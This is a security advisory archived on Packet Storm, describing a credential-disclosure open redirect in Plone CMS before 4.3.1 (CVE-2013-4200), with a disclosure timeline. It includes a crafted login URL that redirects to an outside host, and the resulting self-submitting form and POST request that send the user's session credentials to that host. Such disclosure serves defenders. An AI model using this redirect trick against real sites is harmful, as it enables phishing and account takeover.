what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Plone CMS Credential Disclosure

Plone CMS Credential Disclosure
Posted Jan 17, 2014
Authored by Cyrill Bannwart

Plone CMS suffers from a URL redirection credential disclosure vulnerability.

tags | exploit
advisories | CVE-2013-4200
SHA-256 | c8126f47351b05580931419b3561fe0a88c1f95cf8946c7dcd4656a6d3036dc7

Plone CMS Credential Disclosure

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product: Plone CMS
# Vendor: Plone Foundation (http://plone.org)
# ID(s): CSNC-2013-013, CVE-2013-4200
# Subject: URL Redirection Vulnerability
# Risk: High
# Effect: Remotely exploitable
# Author: Cyrill Bannwart <cyrill.bannwart@csnc.ch>
# Date: 20/05/2013
#
#############################################################


Introduction:
-------------
The discovered vulnerability targets the open source Plone CMS. The
credentials of a valid user can be obtained by using a specially
crafted URL which can be sent to the user by email. When clicking on
the URL, the user is presented with the website's login form and after
a successful login the user as well as his credentials are forwarded to
an external server. This vulnerability can be used by an attacker to
obtain access to a user's account.


Affected:
---------
Vulnerable:
* Plone < 4.3.1


Technical Description:
----------------------
An attacker can craft a URL for the login form where his victim has
valid credentials. The created URL contains a redirection URL to which
the user as well as his credentials are forwarded after a successful
login. This URL can be sent to the victim by mail.

By inserting a space before the redirection URL the isURLInPortal()
method of the URLTool class assumes the URL to be relative, not
filtering it against the allow_external_login_sites property.

Example of crafted URL:
https://example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch

Once the victim clicks on the URL and logs in, a self-submitting POST
form is loaded that sends the user and his credentials to the external
server.

Example excerpt of HTTP Response:
HTTP/1.1 200 OK
Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly
[CUT]
<form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch">
<input type="hidden" name="__ac" value="<CREDENTIALS>" />
</form>
<script type="text/javascript">
/*jslint browser: true */
var external_login_form = document.forms.external_login_form;
external_login_form.style.display = 'none';
external_login_form.submit();
</script>

And resulting HTTP POST Request:
POST / HTTP/1.1
Host: www.csnc.ch
Referer: https://www.example.com/login_form
[CUT]
__ac=<CREDENTIALS>

The obtained credentials / cookie content can be used by the attacker to
login to the website and gain access to the victim's account.

The login form allows further URL parameters such as the password reset
link or the sign up URL that can also be tricked into accepting
non-relative URLs.


Workaround / Fix / Patch:
-------------------------
Patch has been released by vendor


Timeline:
---------
2013-05-08: Vulnerability discovered
2013-05-20: Vendor notified
2013-05-21: Vendor acknowledged
2013-06-18: Patch released
2013-07-02: Patch updated
2014-01-16: Disclosure


References:
-----------
https://plone.org/products/plone/security/advisories/20130618-announcement
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close